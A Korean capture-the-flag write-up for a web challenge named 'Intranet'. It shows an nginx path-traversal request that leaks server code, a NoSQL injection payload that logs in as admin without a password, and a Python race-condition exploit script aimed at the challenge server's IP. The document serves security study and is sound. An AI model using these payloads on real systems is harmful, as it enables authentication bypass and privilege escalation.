문 제 |
분 야 |
점 수 |
|
1.3 Intranet |
web |
? |
|
노출된 적국의 생화학 연구소 내부 사이트에서, 관리자 권한을 탈취하여 내부 시스템을 탐색하라. |
|||
풀이 절차 |
|
||
정 답 |
flag{This_is_top_secret_dont_you_agree} |
||
풀 이 과 정 |
|||
sign up / sign in 페이지가 있고 회원가입후 로그인하고 mypage에 가보면 perm이 Guest인것을 확인할 수 있다. 이때 /api/static/{:userid} 를 요청해오는데, 이와 서버가 nginx임을 미루어 보아 잘못된 route설정으로 인하여 file leak이 될 수도 있다는것을 가정해볼 수 있다. 이처럼 /api/static../User.js 를 요청하면 nginx에서의 잘못된 route설정으로 인하여 static디렉터리를 벗어나 본래 접근할 수 없는 파일에 접근하게 되어 서버단 코드를 획득할 수 있다. const signin = (req, res) => { User .findOne({ userid: req.body.userid, password: req.body.password }) .then(user => { if (!user) { res.status(406); res.send(); } else { res.status(200); control .sign({ id: user.userid }) .then(tok => { res.send(JSON.stringify({ username: user.userid, token: tok }))} ); }}) .catch(err => { res.status(500); res.send(JSON.stringify({ reason: { html: err } })); }); };
서버단 코드 중 로그인 부분 코드를 보면 mongo db Model의 .findOne 메서드를 이용하여 사용자로부터 전달받은 id와 password를 key로 검색하는 것을 확인할 수 있다.
하지만 findOne 메서드를 이용하는점 + 서버의 구성이 app.use( bodyParser.urlencoded({ extended: true }) ); 로 이루어져 있기 때문에 사용자는 Object 객체를 직접 전달할 수 있다. 이로 인하여 nosql injection이 발생하게 되어 {"userid":"admin","password":{"$gt":""}} 와같이 요청하게 되면 admin의 패스워드를 모르더라도 로그인이 가능해진다.
nosql injection을 통해 admin의 토큰을 알아냈으니 local storage의 토큰값을 admin토큰으로 바꾸면 이와같이 admin으로 로그인된것을 확인할수있다.
하지만 해당 문제에서 진짜 어드민은 level=2 이상이 되어야한다.
이 상황에서 auth 동작이 다소 이상하게 되어있는데, 만약 올바른 division_number를 입력할 시 현재 접속한 계정의 level이 0일경우 해당 계정의 level를 1 올려주는 동작을 한다.
division_number는 알려져 있지 않지만 이또한 마찬가지로 nosql injection을 통해 레벨을 올릴 수 있다.
또한 해당 코드가 Division 모델에서 findOne 함수를 이용해 값을 찾고 updateOne을 이용해 update하는것으로 미루어보아 빠르게 해당 요청을 두번 전송하면 race condition이 발생하여 level이 두번 증가될 수 있을 가능성을 확인하였다.
#-*- coding:utf-8 -*- import requests import sys import time import re import string import datetime import json, os, sys, html, zlib from arang import * from concurrent.futures import ThreadPoolExecutor from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
packet='''POST http://3.35.40.133/api/signup HTTP/1.1 Host: 3.35.40.133 Connection: keep-alive Content-Length: 42 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: http://3.35.40.133 Referer: http://3.35.40.133/signup Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
'''
s = requests.session()
def raceCondition(args): global pp,s u = 'http://3.35.40.133/api/auth' data = {"division_number":{"$gt":""}} r = s.post(u, data=json.dumps(data), headers=pp.headers) print('--------------') print(r.content) print('--------------')
for i in range(1,1000): # signup pp = parsePacket(packet.format(i)) pp.proxies="127.0.0.1:8888" data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"} r = s.post(pp.url, data=json.dumps(data), headers=pp.headers) if r.status_code==200: # signin u = "http://3.35.40.133/api/signin" data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}} r = s.post(u, data=json.dumps(data), headers=pp.headers) if r.status_code==200: rj = json.loads(r.content) pp.headers['x-access-token'] = rj['token']
with ThreadPoolExecutor(3) as pool: t=[1,2,3,4,5] ret = [x for x in pool.map(raceCondition,t)]
위와같은 race condition을 발생시키는 익스플로잇 코드를 통해 level을 2번 증가시킬 수 있다 실제로 auth 요청이 2번 된것을 확인하였고, 그 계정으로 로그인 시 admin으로 변한것을 확인할 수 있다. 플래그 획득 |
'CTF > writeup' 카테고리의 다른 글
2021 화이트햇콘테스트(예선) 웹 분야 라이트업 (Whitehat Contest 2021) (1) | 2021.09.14 |
---|---|
2020 사이버 작전 경연대회 [웹] - Vaccine Paper; Write-up (0) | 2020.09.15 |
[Web] 2020 TSG CTF - Slick logger writeup / time based blind regex injection (0) | 2020.07.13 |
Defenit CTF 2020 OSINT Author Writeup - 'Bad Tumbler', 'Hack the C2', @arang (1) | 2020.06.07 |
[Write-up] 2019 hack.lu CTF [WEB+MISC] - "RPDG" (1) | 2019.10.25 |